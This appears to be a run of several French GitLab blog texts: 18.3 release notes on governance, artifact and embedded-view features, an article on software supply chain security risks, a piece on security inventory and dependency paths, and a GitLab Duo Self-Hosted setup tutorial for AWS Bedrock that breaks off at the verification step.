<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783569?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Self Hosted Models Code Review"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Sécurité renforcée avec assistance OAuth : notre serveur MCP inclut maintenant une assistance complète pour l'authentification OAuth 2.0, qui garantit des connexions sécurisées aux ressources protégées et aux environnements de développement sensibles. Cette nouvelle fonctionnalité suit le projet de spécification OAuth pour MCP, qui gère les flux d'autorisation, la gestion des tokens et l'enregistrement dynamique des clients.

Plateforme Secure by Design : une gouvernance évolutive

Pour être véritablement sécurisée, une plateforme nécessite l'application cohérente de principes de gouvernance sur l'ensemble du cycle de développement. Les mêmes principes fondamentaux de sécurité qui garantissent l'adoption sécurisée de l'IA (principe de moindre privilège, gestion centralisée des stratégies, surveillance proactive et autorisations granulaires) doivent être intégrés dans tout le SDLC pour créer une approche cohésive de défense en profondeur.

GitLab 18.3 renforce les contrôles fondamentaux qui aident à protéger toute votre chaîne d'approvisionnement logicielle avec ces nouvelles mises à jour :

• Rôle d'administrateur personnalisé : fournit des autorisations administratives granulaires conçues sur mesure qui remplacent l'accès administrateur général par des contrôles précis selon le principe de moindre privilège. Au lieu d'accorder des privilèges administratifs généraux qui créent des risques de sécurité, les organisations peuvent maintenant créer des rôles spécialisés adaptés à des fonctions spécifiques comme les équipes de plateforme qui gèrent les runners et la surveillance, les équipes d'assistance dédiées à la gestion des utilisateurs et les cadres dirigeants qui accèdent aux tableaux de bord et aux statistiques d'utilisation. Forte d'une gestion complète du cycle de vie des rôles via l'interface utilisateur et l'API, d'une journalisation d'audits et de documentation générée automatiquement, cette fonctionnalité offre une véritable gestion selon le principe de moindre privilège qui aide à maintenir l'efficacité opérationnelle et à améliorer la sécurité globale de l'instance.
• Framework de conformité au niveau de l'instance et gestion des stratégies de sécurité : les organisations peuvent maintenant désigner un groupe de conformité dédié responsable d'appliquer des frameworks standardisés et des stratégies de sécurité directement aux groupes principaux, lesquels seront automatiquement mis en œuvre dans tous leurs sous-groupes et projets. Cette approche centralisée élimine la gestion fragmentée des stratégies, un obstacle à la conformité, et maintient l'autonomie du groupe en matière d'adoption de stratégies locales supplémentaires.
• Rapports de violations améliorés : les équipes reçoivent désormais des notifications immédiates lorsque des changements non autorisés sont apportés aux règles d'approbation des MR, que des stratégies de framework ne possèdent pas les approbations appropriées ou que les contrôles de conformité temporels ne sont pas respectés. Les équipes peuvent associer directement les violations aux contrôles spécifiques du framework de conformité afin d'obtenir des informations exploitables qui leur indiquent exactement quelle exigence a été violée. Cette fonctionnalité transforme la conformité d'une simple tâche à exécuter en un élément proactif et intégré du workflow de développement et de sécurité.
• Permissions granulaires pour les tokens de job CI/CD : remplace l'accès général des tokens par des permissions granulaires et explicites qui accordent aux jobs CI/CD un accès uniquement aux points de terminaison API spécifiques dont ils ont réellement besoin. Au lieu de donner aux jobs un accès général aux ressources du projet, les équipes peuvent maintenant définir des permissions précises pour les déploiements, les packages, les versions, les environnements et autres ressources critiques afin de réduire la surface d'attaque et tout potentiel d'escalade de privilèges.
• Intégration d'AWS Secrets Manager : les équipes qui utilisent AWS Secrets Manager peuvent maintenant récupérer des secrets directement dans les jobs GitLab CI/CD afin de simplifier les processus de compilation et de déploiement. Un GitLab Runner accède aux secrets au moyen de l'authentification basée sur le protocole OpenID Connect, qui est masqué pour éviter l'exposition dans les job logs et détruit après utilisation. Cette approche élimine le stockage des secrets dans des variables et s'intègre proprement dans les workflows existants GitLab et AWS. Développée en étroite collaboration avec Deutsche Bahn et l'équipe AWS Secrets Manager, cette intégration reflète notre engagement à proposer des solutions aux côtés des clients pour résoudre des défis du monde réel.

Gestion des artefacts : sécuriser la chaîne d'approvisionnement logicielle

Lorsque les artefacts ne sont pas régis correctement, de petits changements peuvent avoir de lourdes conséquences. Les packages modifiables, les images de conteneurs écrasées et les règles incohérentes entre les outils peuvent entraîner des pannes de production, introduire des vulnérabilités et créer des problèmes de conformité. Pour une plateforme DevSecOps d'entreprise, une gestion centralisée et sécurisée des artefacts est essentielle afin de maintenir l'intégrité de la chaîne d'approvisionnement logicielle.

Protection des artefacts au niveau de l'entreprise

GitLab 18.3 capitalise sur nos capacités complètes de protection des packages et ajoute de nouvelles fonctionnalités importantes :

• Assistance pour les revues Conan : dans la version 18.3, les révisions Conan garantissent l'immuabilité des packages pour les équipes de développement C++. Lorsque des modifications sont apportées à un package sans en changer la version, Conan calcule des identifiants uniques pour suivre ces changements et permettre aux équipes de maintenir des packages immuables ainsi que de préserver la clarté des versions.
• Sécurité améliorée du registre de conteneurs : suite au lancement réussi des tags de conteneurs immuables dans la version 18.2, nous constatons une forte adoption de cette fonctionnalité en entreprise. Une fois qu'un tag créé correspond à une règle immuable, personne, quel que soit son niveau de permission, ne peut modifier cette image de conteneur afin d'éviter les changements non intentionnels des dépendances de production.

Ces améliorations complètent nos capacités de protection existantes pour npm, PyPI, Maven, NuGet, les charts Helm et les packages génériques. Elles aident les équipes de plateforme à implémenter une stratégie de gouvernance cohérente à travers toute leur chaîne d'approvisionnement logicielle – une exigence pour les organisations qui construisent des plateformes de développement internes sécurisées.

Contrairement aux solutions d'artefacts autonomes, l'approche intégrée de GitLab élimine le changement de contexte entre les outils et fournit une traçabilité de bout en bout du code au déploiement. Elle permet aussi aux équipes de plateforme d'implémenter une stratégie de gouvernance cohérente dans l'ensemble de leur pipeline de livraison logicielle.

Vues intégrées : visibilité et rapports en temps réel

À mesure que les projets GitLab gagnent en complexité, les équipes se retrouvent à naviguer entre tickets, merge requests, epics et jalons pour maintenir la visibilité du statut du travail. Consolider efficacement ces informations tout en garantissant que les équipes ont un accès en temps réel à la progression du projet sans changement de contexte ni interruption reste un défi.

Lancement de la visibilité du statut du travail en temps réel

Dans GitLab 18.3, les vues intégrées alimentées par notre puissant GitLab Query Language (GLQL) éliminent le changement de contexte grâce à des données de projet injectées directement dans votre workflow :

• Vues dynamiques : insérez des requêtes GLQL dans des blocs de code Markdown de pages wiki, d'epics, de tickets et de merge requests qui se rafraîchissent automatiquement en fonction de l'état actuel du projet chaque fois que vous chargez la page.
• Personnalisation contextuelle : les vues s'adaptent automatiquement à l'aide de fonctions comme currentUser() et today() pour afficher les informations pertinentes selon l'utilisateur, sans configuration manuelle.
• Filtrage puissant : filtrez parmi plus de 25 champs, y compris la personne assignée, l'auteur, le label, le jalon, les indicateurs de progression et la date de création.
• Flexibilité d'affichage : présentez les données sous forme de tableaux, de listes ou de listes numérotées avec sélection personnalisable des champs, limites d'éléments et ordre de tri pour des vues spécifiques et exploitables.

Contrairement aux approches fragmentées de gestion de projet, nous avons conçu les vues intégrées pour maintenir la continuité de votre workflow avec une visibilité en temps réel. Ainsi, les équipes peuvent prendre des décisions éclairées sans se déconcentrer ni basculer entre plusieurs outils et interfaces.

Découvrez les nouvelles fonctionnalités de GitLab 18.3.

Lancez-vous dès aujourd'hui

GitLab 18.3 est maintenant disponible pour les utilisateurs GitLab Premium et Ultimate sur GitLab.com et dans les environnements GitLab Self-Managed.

Les clients GitLab Dedicated profitent maintenant de la mise à niveau vers la version 18.2 et pourront utiliser les fonctionnalités déployées avec GitLab 18.3 le mois prochain.

Prêt à découvrir l'avenir de l'ingénierie logicielle ? Activez les fonctionnalités expérimentales et celles de la version bêta pour GitLab Duo et commencez à utiliser des agents IA qui comprennent votre contexte de développement dans son ensemble.

Vous ne connaissez pas encore GitLab ? Commencez votre essai gratuit aujourd'hui et découvrez pourquoi l'avenir de l'ingénierie logicielle repose sur la collaboration humain-IA orchestrée sur la plateforme DevSecOps la plus complète au monde.

<p><small><em>Cet article de blog contient des énoncés de nature prospective au sens de la Section 27A de la Securities Act de 1933, telle que modifiée, et de la Section 21E de la Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les énoncés de nature prospective contenus dans cet article de blog sont raisonnables, ils sont soumis à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs dont les résultats ou issues réels peuvent matériellement différer de tout résultat ou issue futurs exprimés ou impliqués par les énoncés de nature prospective.</em></p> <p><em>Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et issues réels diffèrent matériellement de ceux inclus dans les énoncés de nature prospective contenus dans cet article de blog ou envisagés dans celui-ci sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les documents et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser les énoncés de nature prospective ou à signaler des événements ou circonstances après la date de publication de cet article de blog ou à refléter la tenue d'événements imprévus, sauf si la loi l'exige.</em></small></p>

La sécurité de la chaîne d'approvisionnement logicielle ne se limite pas à l'analyse des dépendances. Elle concerne l'ensemble du cycle de développement, de l'écriture du code au déploiement en production :

• La sécurité des sources consiste à protéger les dépôts de code, gérer l'accès des contributeurs et garantir l'intégrité du code.
• La sécurité des compilations permet de sécuriser les environnements de compilation et d'empêcher toute altération pendant la compilation et l'empaquetage
• La sécurité des artefacts s'attache à garantir l'intégrité des conteneurs, des paquets et des artefacts de déploiement.
• La sécurité du déploiement vise à sécuriser les mécanismes de livraison et les environnements d'exécution.
• La sécurité des outils s'efforce de sécuriser directement les outils et plateformes utilisés pour développer les logiciels.

Le terme « chaîne » dans l'expression « sécurité de la chaîne d'approvisionnement logicielle » fait référence à toutes ces étapes interconnectées pour créer et livrer des logiciels. Une faiblesse à n'importe quelle maillon de la chaîne peut compromettre l'ensemble du processus.

L'attaque contre SolarWinds en 2020 illustre parfaitement cette problématique. Lors d'une des plus grandes attaques de la chaîne d'approvisionnement logicielle de ces dernières années, des attaquants parrainés par un État ont compromis le pipeline de compilation du logiciel de gestion de réseau Orion de SolarWinds. Plutôt que d'exploiter une dépendance vulnérable ou de pirater l'application finale, ils ont injecté du code malveillant pendant le processus de compilation lui-même.

Le résultat a été dévastateur : plus de 18 000 clients de SolarWinds, y compris plusieurs agences gouvernementales américaines, ont installé sans le savoir des logiciels avec des portes dérobées lors de mises à jour logicielles de routine. Le code source d'origine était propre, l'application finale semblait totalement légitime, mais c'est lors du processus de compilation que le code malveillant se déployait. Cette attaque est passée inaperçue pendant des mois. Elle est la preuve incontestable que les mesures de sécurité traditionnelles ne font pas le poids contre l'exploitation des failles au niveau de la chaîne d'approvisionnement logicielle.

Les idées reçues qui mettent en danger les entreprises

Malgré une prise de conscience croissante des menaces qui pèsent sur la chaîne d'approvisionnement logicielle, de nombreuses entreprises restent vulnérables, car elles ne comprennent pas tous les tenants et les aboutissants de la sécurité de cette chaîne. Voici les idées reçues les plus dangereuses concernant la sécurité de la chaîne d'approvisionnement logicielle :

• Elle se résume à l'analyse des dépendances.
• Elle se limite aux composants open source et ignore les risques liés au code propriétaire.
• La signature de code lui offre une protection suffisante.
• Les bonnes pratiques de développement sécurisé sont supposées éliminer les risques qui pèsent sur elle.
• La responsabilité est attribuée uniquement à l'équipe de sécurité et non à l'ensemble des collaborateurs impliqués dans le workflow de développement.

L'IA, synonyme de changement

Alors que les équipes de développement doivent déjà relever les défis de sécurité traditionnels de la chaîne d'approvisionnement logicielle, l'intelligence artificielle (IA) introduit de nouveaux vecteurs d'attaque et amplifie comme jamais auparavant ceux déjà présents.

Des attaques plus sophistiquées et évolutives

Les attaquants exploitent désormais l'IA pour automatiser la découverte des vulnérabilités, générer des attaques de type ingénierie sociale avec des messages très convaincants qui ciblent les développeurs et analyser systématiquement les codes sources publics pour en détecter les faiblesses. Ces opérations autrefois manuelles sont désormais réalisées à grande échelle, rapidement et avec une grande précision.

De nouveaux risques

Non seulement l'IA modifie l'ensemble du cycle de développement, mais elle introduit des lacunes importantes en matière de sécurité :

• Attaques de la chaîne d'approvisionnement logicielle des modèles : les modèles pré-entraînés provenant de sources telles que Hugging Face ou GitHub peuvent contenir des portes dérobées ou des données d'entraînement corrompues.
• Manque de protection du code généré par l'IA : les développeurs qui utilisent des assistants IA pour le code peuvent introduire involontairement des modèles vulnérables ou des dépendances dangereuses.
• Compromission des chaînes d'outils alimentées par l'IA : l'infrastructure pour entraîner, déployer et gérer les modèles d'IA constitue une nouvelle surface d'attaque.
• Reconnaissance automatisée : en s'aidant de l'IA, les attaquants scannent l'ensemble de l'écosystème d'une entreprise pour identifier des cibles stratégiques au sein de la chaîne d'approvisionnement logicielle.
• Shadow AI et outils non approuvés : les équipes de développement peuvent intégrer des outils d'IA externes qui n'ont pas été approuvés.

Résultat ? L'IA introduit non seulement de nouvelles vulnérabilités, mais elle amplifie aussi l'ampleur et la gravité des failles de sécurité existantes. Les entreprises ne peuvent plus s'appuyer sur des améliorations incrémentielles, et les pratiques de sécurité peinent à suivre le rythme effréné d'évolution des menaces.

Les entreprises à la traîne

Même les entreprises conscientes des enjeux de sécurité de la chaîne d'approvisionnement logicielle ne parviennent souvent pas à agir efficacement. Les statistiques sont inquiétantes et sans appel : la prise de conscience est réelle, mais les comportements ne changent pas.

En 2021, Colonial Pipeline a dû verser 4,4 millions de dollars à des hackers pour rétablir ses opérations. Peu avant, 18 000 entreprises avaient été victimes de l'attaque SolarWinds. Le signal est clair : les failles de sécurité au sein de la chaîne d'approvisionnement logicielle peuvent mettre à mal des infrastructures critiques et exposer des données sensibles à une échelle sans précédent.

Pourtant, malgré cette prise de conscience, la majorité des entreprises continuent leurs activités comme si de rien n'était. Alors pourquoi ne mettent-elles pas en place des mesures de protection efficaces ?

La réponse repose sur quatre obstacles de taille :

1. La fausse logique économique

Certaines entreprises privilégient le coût immédiat plutôt que l'approche la plus efficace. Cette vision centrée sur les économies à court terme finit par engendrer des problèmes coûteux.

2. Une pénurie de compétences

Selon l'étude BSIMM, on compte 4 professionnels de la sécurité pour 100 développeurs, en moyenne, et 90 % des entreprises déclarent une pénurie critique de talents en cybersécurité, selon ISC2. Dans ces conditions, il est tout simplement impossible de faire évoluer les approches traditionnelles.

3. Des objectifs de performance incohérents

Les Objective and Key Results (OKR) des développeurs, principalement axés sur la vélocité des fonctionnalités, sont différents de ceux des équipes de sécurité. Lorsque les dirigeants donnent la priorité à la rapidité de mise sur le marché plutôt qu'à la posture de sécurité, les frictions deviennent inévitables.

4. Prolifération des outils

Une entreprise de taille moyenne utilise 45 outils de cybersécurité, qui génèrent 40 % de faux positifs. Chaque incident nécessite de coordonner 19 outils en moyenne.

Ces obstacles créent un cercle vicieux : les entreprises reconnaissent la menace, investissent dans des solutions de sécurité, mais leur mise en œuvre n'aboutit pas aux résultats souhaités.

Le coût de l'insécurité de la chaîne d'approvisionnement logicielle

Les attaques de la chaîne d'approvisionnement logicielle engendrent des risques et des dépenses qui ne s’arrêtent pas une fois la faille corrigée.  Une meilleure compréhension de ces multiples implications cachées permet de saisir pourquoi la prévention est indispensable pour assurer la continuité des activités.

Des délais beaucoup trop longs

• 277 jours sont nécessaires en moyenne pour identifier et contenir une faille de sécurité dans la chaîne d'approvisionnement logicielle.
• De 2 à 3 ans, voire plus sont nécessaires pour regagner la confiance des clients.
• De nombreuses heures d'ingénierie sont consacrées chaque année à la correction des failles de sécurité et non au développement de produits.

Des attaques qui nuisent à la réputation des entreprises

Lorsque votre chaîne d'approvisionnement logicielle est compromise, il n'est pas uniquement question de données volées, c'est la confiance des clients qui est ébranlée. En moyenne, le taux d'attrition des clients augmente de 33 % après une atteinte à la sécurité, tandis que le maintien de bonnes relations avec les partenaires nécessite souvent des recertifications coûteuses. Le positionnement concurrentiel en pâtit, car les prospects choisissent des alternatives qu'ils perçoivent comme « plus sûres ».

Une pression réglementaire en forte augmentation

Les réglementations se sont radicalement renforcées ces dernières années. Les amendes liées au non-respect du RGPD dépassent désormais en moyenne les 50 millions de dollars pour les violations de données importantes. Le nouveau Règlement sur la cyberrésilience de l'Union européenne impose des obligations de transparence au niveau de la chaîne d'approvisionnement. Les entrepreneurs qui honorent des contrats avec le gouvernement fédéral américain sont tenus de fournir une nomenclature logicielle (SBOM) pour chaque achat de logiciels, une exigence qui s'impose rapidement dans le secteur privé également.

Une multiplication des perturbations opérationnelles

Au-delà des coûts directs, les attaques de la chaîne d'approvisionnement logicielle déclenchent souvent un chaos opérationnel : arrêt des plateformes pendant la phase de remédiation, audits de sécurité d'urgence sur l'ensemble de la pile technologique, frais juridiques liés aux poursuites engagées par les clients et aux enquêtes réglementaires.

Des approches inadaptées

La plupart des entreprises confondent activité de sécurité et impact sur la sécurité. Elles déploient des scanners, génèrent des rapports interminables et relancent les équipes via un processus manuel pour qu'elles mettent en place les corrections nécessaires. Mais ces efforts ont souvent l’effet inverse de celui recherché : ils génèrent plus de problèmes qu'ils n'en résolvent.

Scanning massif ou protection efficace

Les entreprises génèrent plus de 10 000 alertes de sécurité chaque mois, et les plus actives produisent environ 150 000 événements par jour. Mais 63 % de ces alertes sont des faux positifs ou ne font pas partie des priorités. Les équipes de sécurité sont submergées : elles n'arrivent plus à suivre le rythme et leur rôle de facilitateur s'en trouve compromis.

Une collaboration ralentie

Les entreprises les plus sécurisées ne sont pas celles qui disposent du plus grand nombre d'outils, mais celles qui bénéficient de la meilleure collaboration DevSecOps. Or, la plupart des configurations actuelles ne sont pas adaptées, car les workflows sont divisés entre des outils incompatibles, les développeurs n'ont pas accès aux résultats de sécurité dans leur environnement et les différentes équipes n'ont aucune visibilité sur les risques et l'impact métier.

La voie à suivre

Comprendre ces défis est la première étape vers la mise en place d'une sécurité efficace de la chaîne d'approvisionnement logicielle. Les entreprises les plus performantes ne multiplient pas les outils de sécurité, elles repensent en profondeur la façon dont elles intègrent la sécurité à leurs workflows de développement. Elles s'attachent à simplifier les processus, à réduire la complexité technologique et à renforcer la collaboration entre les équipes.

La plateforme DevSecOps unifiée de GitLab permet de relever ces défis en intégrant la sécurité directement au workflow de développement logiciel, en s'appuyant sur des capacités natives conçues pour les développeurs et en tirant parti de l'automatisation alimentée par l'IA. Dans le prochain article de cette série, nous vous expliquerons comment les entreprises leaders mettent concrètement en œuvre cette approche pour renforcer la sécurité de leur chaîne d'approvisionnement logicielle.

Pour en savoir plus, consultez également notre page web sur les solutions de sécurité GitLab dédiées à la chaîne d'approvisionnement logicielle.

Avec l'inventaire de sécurité, les équipes de sécurité applicative ont une vue unifiée des risques et de la couverture des scans à l'échelle des groupes et projets GitLab. Elles bénéficient ainsi d'une meilleure visibilité pour identifier les zones non couvertes et prioriser les mesures correctives. La visualisation des chemins de dépendances, quant à elle, offre une vue détaillée du chemin par lequel les vulnérabilités open source sont introduites via la chaîne de dépendances. Ainsi, il devient plus facile d'identifier la correction la plus efficace.

Grâce à ces deux fonctionnalités, les équipes de sécurité et de développement sont en mesure de renforcer la sécurité de leurs applications, puisqu'elles disposent d'une visibilité accrue sur les risques, d'un contexte clair pour choisir les mesures correctives à appliquer et de workflows intégrés qui favorisent la collaboration. Contrairement à d'autres solutions, tout est centralisé sur la plateforme que les développeurs utilisent déjà pour écrire, réviser et déployer leur code. Cette approche intégrée élimine le besoin d'intégrations complexes et offre une expérience DevSecOps fluide et unifiée.

L'open source : une surface d'attaque plus exposée

Les applications modernes s'appuient massivement sur des logiciels open source. Or, cette dépendance n'est pas sans risque : certains composants peuvent être obsolètes, souffrir d'un manque de maintenance ou exposer des vulnérabilités à l'insu des développeurs. C'est pourquoi l'analyse de la composition logicielle (SCA) s'impose comme la pierre angulaire des programmes de sécurité des applications modernes.

La gestion efficace du risque de dépendance transitive représente un défi de taille pour les équipes chargées de détecter les vulnérabilités. Ces composants, souvent cachés au plus profond de la chaîne de dépendances, compliquent l'identification de l'origine d'une vulnérabilité ou du composant à mettre à jour pour y remédier. Pire encore, ils sont responsables de près de deux tiers des vulnérabilités open source connues. Faute de visibilité complète sur les chemins de dépendances, les équipes doivent se contenter d'hypothèses, ce qui retarde l'application de mesures correctives et accroît les risques.

Les dépendances transitives, c'est-à-dire les paquets que votre application utilise indirectement, sont automatiquement intégrées par les dépendances directes que vous incluez explicitement. Ces dépendances imbriquées peuvent introduire des vulnérabilités sans que le développeur n'en ait conscience.

Ce défi prend une tout autre dimension à grande échelle. Lorsqu'une équipe de sécurité doit superviser des centaines, voire des milliers, de dépôts, chacun avec ses propres dépendances, pipelines de compilation et propriétaires, il devient extrêmement difficile de répondre aux questions fondamentales sur la posture de sécurité applicative. Dans un contexte où les menaces qui pèsent sur la chaîne d'approvisionnement logicielle se multiplient, et où les vulnérabilités peuvent se propager à travers les systèmes par le biais de bibliothèques partagées et de configurations CI/CD, ce manque de visibilité a des conséquences encore plus importantes.

Inventaire de sécurité : une visibilité évolutive

L'inventaire de sécurité regroupe les informations sur les risques de l'ensemble de vos groupes et projets dans une vue unifiée. Il met en évidence les ressources couvertes par des scans de sécurité, ainsi que celles qui y échappent. Plutôt que de traiter les vulnérabilités de manière isolée, les équipes de sécurité peuvent évaluer la posture de manière globale et identifier les domaines sur lesquels concentrer leurs efforts.

Ce niveau de centralisation s'avère particulièrement important pour les entreprises qui gèrent un grand nombre de dépôts. Il permet aux équipes chargées de la plateforme et de la sécurité applicative de localiser précisément les risques en révélant les projets non analysés ou insuffisamment protégés, tout en ouvrant la voie à des actions directes depuis l'interface. Grâce à un contexte complet, les équipes identifient rapidement les applications les plus exposées pour les traiter efficacement. En consolidant des données jusque-là dispersées en une source unique de vérité, l'inventaire de sécurité transforme la gestion des vulnérabilités d'une posture réactive à une gouvernance stratégique guidée par les données.

Visualisation des chemins de dépendances : la visibilité pour une remédiation efficace

L'inventaire de sécurité offre une vision globale des risques ; la visualisation des chemins de dépendances montre comment y remédier.

Lorsqu'une vulnérabilité est située au plus profond d'une chaîne de dépendances, déterminer la bonne approche pour la corriger devient un véritable casse-tête. La plupart des outils de sécurité mettent en évidence le paquet vulnérable, mais sans indiquer par quel biais il s'est introduit dans le code source. Les équipes de développement se retrouvent à tâtonner entre dépendances directes et transitives, ce qui complique l'analyse et risque d'aboutir à des correctifs inadaptés.

La nouvelle visualisation des chemins de dépendances intégrée à la version 18.2.0 de GitLab, parfois appelée graphique de dépendances, dévoile à l'issue d'un scan SCA le parcours complet depuis un paquet principal jusqu'au composant vulnérable. Cette visibilité est essentielle, en particulier compte tenu de l'omniprésence des vulnérabilités profondément ancrées dans les chaînes de dépendances. Directement intégrée aux workflows GitLab, cette fonctionnalité fournit aux équipes de développement des informations précises et immédiatement exploitables, sans que ces dernières doivent quitter leur environnement de travail ni émettre des hypothèses. Les équipes de sécurité peuvent hiérarchiser plus efficacement les problèmes, tandis que les développeurs ont l'assurance que les remédiations ciblent enfin les causes profondes.

La sécurité intégrée au développement : des risques maîtrisés en amont

Ces fonctionnalités s'inscrivent dans la stratégie globale de GitLab qui vise à intégrer la sécurité au sein même de la plateforme où le code est planifié, compilé et déployé. En intégrant les informations de sécurité au cœur du workflow DevSecOps, GitLab réduit les points de friction et renforce la collaboration entre les équipes de développement et de sécurité.

L'inventaire de sécurité et la visualisation des chemins de dépendances offrent des perspectives complémentaires : le premier permet une surveillance évolutive, la seconde facilite des mesures de correction ciblées. Ces deux fonctionnalités combinées aident les équipes à concentrer leurs efforts sur les priorités réelles et à combler les lacunes lors de l'analyse des risques, sans complexifier l'environnement avec des outils ou intégrations supplémentaires.

Prenez en main l'inventaire de sécurité et la visualisation des chemins de dépendances dès aujourd'hui ! Inscrivez-vous à un essai gratuit de GitLab Ultimate.

En savoir plus

• Sortie de GitLab 18.2.0
• Solutions de sécurité GitLab
• Guide pratique sur les vecteurs de menaces dans la chaîne d'approvisionnement logicielle

Dans cet article, nous allons parcourir l'implémentation des modèles GitLab Duo Self-Hosted pour aider les entreprises à respecter des exigences strictes de souveraineté des données tout en tirant parti du développement assisté par IA. L'accent est mis sur l'utilisation de modèles hébergés sur AWS Bedrock plutôt que sur la mise en place d'une solution de service LLM comme vLLM. Cependant, la méthodologie peut être appliquée aux modèles fonctionnant dans votre propre centre de données si vous disposez des capacités nécessaires.

Consultez le replay de notre webinaire GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données.

Pourquoi GitLab Duo Self-Hosted ?

GitLab Duo Self-Hosted permet de déployer les capacités d'IA de GitLab au sein de votre propre infrastructure, que ce soit sur site, dans un cloud privé ou au sein de votre environnement sécurisé.

Quels sont les principaux avantages ?

Confidentialité et contrôle complets des données : conservez le code sensible et la propriété intellectuelle dans votre périmètre de sécurité, en garantissant qu'aucune donnée ne quitte votre environnement.

Flexibilité des modèles : choisissez parmi une variété de modèles adaptés à vos besoins spécifiques de performance et à vos cas d'usage, notamment les familles Anthropic Claude, Meta Llama, Mistral et OpenAI GPT.

Conformité réglementaire : respectez les exigences réglementaires dans les industries hautement réglementées où les données doivent rester dans des limites géographiques spécifiques.

Personnalisation : configurez les fonctionnalités GitLab Duo qui utilisent des modèles spécifiques pour optimiser les performances et les coûts.

Flexibilité de déploiement : déployez dans des environnements complètement isolés, sur site ou dans des environnements cloud sécurisés.

Vue d'ensemble de l'architecture

La solution GitLab Duo Self-Hosted comprend trois composants principaux :

1. Une instance GitLab Self-Managed : votre instance GitLab existante où les utilisateurs interagissent avec les fonctionnalités de GitLab Duo.

2. Une passerelle d’IA (AI-Gateway): un service qui achemine les requêtes entre GitLab et votre backend LLM choisi.

3. Un backend LLM : le service de modèle IA proprement dit, qui, dans cet article, sera AWS Bedrock. Note : vous pouvez utiliser une autre plateforme de service si vous fonctionnez sur site ou utilisez un autre fournisseur cloud.

Prérequis

Avant de commencer, vous aurez besoin :

• D’une instance GitLab Premium ou GitLab Ultimate (version 17.10 ou ultérieure)

  • Nous recommandons fortement d'utiliser la dernière version de GitLab car nous ajoutons continuellement de nouvelles fonctionnalités à notre plateforme.

• D’une licence complémentaire GitLab Duo Enterprise

• D’un compte AWS avec accès aux modèles Bedrock ou votre clé API et identifiants nécessaires pour interroger votre modèle de service LLM

Note : si vous n'êtes pas encore client GitLab, vous pouvez vous inscrire pour bénéficier d'un essai gratuit de GitLab Ultimate, qui inclut GitLab Duo Enterprise.

Étapes d'implémentation

1. Installez la passerelle d’IA

La passerelle d’IA (ou AI-Gateway) est le composant qui achemine les requêtes entre votre instance GitLab et votre infrastructure de service LLM, ici AWS Bedrock. Il peut s'exécuter dans une image Docker. Suivez les instructions de notre documentation d'installation pour commencer.

Pour cet exemple, utilisant AWS Bedrock, vous devez également transmettre l’identifiant AWS et la clé d'accès secrète, ainsi que la région AWS.

AIGW_TAG=self-hosted-v18.1.2-ee`


docker run -d -p 5052:5052 \

   -e AIGW_GITLAB_URL=<your_gitlab_instance> \

   -e AIGW_GITLAB_API_URL=https://<your_gitlab_domain>/api/v4/ \

   -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID

   -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \

   -e AWS_REGION_NAME=$AWS_REGION_NAME \

registry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \

Voici la liste des AIGW_TAG.

Dans cet exemple, nous utilisons Docker, mais il est également possible d'utiliser le chart Helm. Consultez notre documentation d'installation pour plus d'informations.

2. Configurez GitLab pour accéder à la passerelle d’IA

Maintenant que la passerelle d’IA (AI-Gateway) est en cours d'exécution, vous devez configurer votre instance GitLab pour l'utiliser.

1. Dans la barre latérale gauche, en bas, sélectionnez Admin.

2. Sélectionnez GitLab Duo.

3. Dans la section GitLab Duo, sélectionnez Modifier la configuration.

4. Sous URL locale de la passerelle d’IA, entrez l'URL de votre passerelle et le port du conteneur (par exemple, https://ai-gateway.example.com:5052).

5. Sélectionnez Enregistrer les modifications.

3. Accédez aux modèles depuis AWS Bedrock

Ensuite, demandez l'accès aux modèles disponibles sur AWS Bedrock.

1. Naviguez vers votre compte AWS et Bedrock.

2. Sous Accès aux modèles, sélectionnez les modèles que vous souhaitez utiliser et suivez les instructions pour obtenir l'accès.

Vous trouverez plus d'informations dans la documentation AWS Bedrock.

4. Configurez le modèle auto-hébergé

Maintenant, configurons un modèle AWS Bedrock spécifique pour l'utiliser avec GitLab Duo.

1. Dans la barre latérale gauche, en bas, sélectionnez Admin.

2. Sélectionnez GitLab Duo Self-Hosted.

3. Sélectionnez Ajouter un modèle auto-hébergé.

4. Remplissez les champs suivants :

   • Nom du déploiement : un nom pour identifier cette configuration de modèle (par exemple, « Mixtral 8x7B »)
   • Plateforme : choisissez AWS Bedrock
   • Famille de modèles : sélectionnez un modèle, par exemple « Mixtral »
   • Identifiant du modèle : bedrock/identifiant-du-modèle depuis la liste supportée.

5. Sélectionnez Créer le modèle auto-hébergé.

5. Configurez les fonctionnalités GitLab Duo pour utiliser votre modèle auto-hébergé

Après avoir configuré votre modèle, assignez-le aux fonctionnalités GitLab Duo spécifiques.

1. Dans la barre latérale gauche, en bas, sélectionnez Admin.

2. Sélectionnez GitLab Duo Self-Hosted.

3. Sélectionnez l'onglet Fonctionnalités alimentées par l'IA.

4. Pour chaque fonctionnalité (par exemple, suggestions de code, GitLab Duo Chat) et sous-fonctionnalité (par exemple, génération de code, explication du code), sélectionnez le modèle que vous venez de configurer dans le menu déroulant.

Par exemple, vous pourriez assigner Mixtral 8x7B aux tâches de génération de code et Claude 3 Sonnet à la fonctionnalité GitLab Duo Chat. Consultez notre documentation sur les exigences pour sélectionner le bon modèle en fonction de votre usage depuis la liste de compatibilité des modèles par fonctionnalité de GitLab Duo.

Vérification de votre configuration

Pour vous assurer que votre implémentation de GitLab Duo Self-Hosted avec AWS Bedrock fonctionne correctement, effectuez les vérifications suivantes :

1. Lancez une vérification de l’état des services

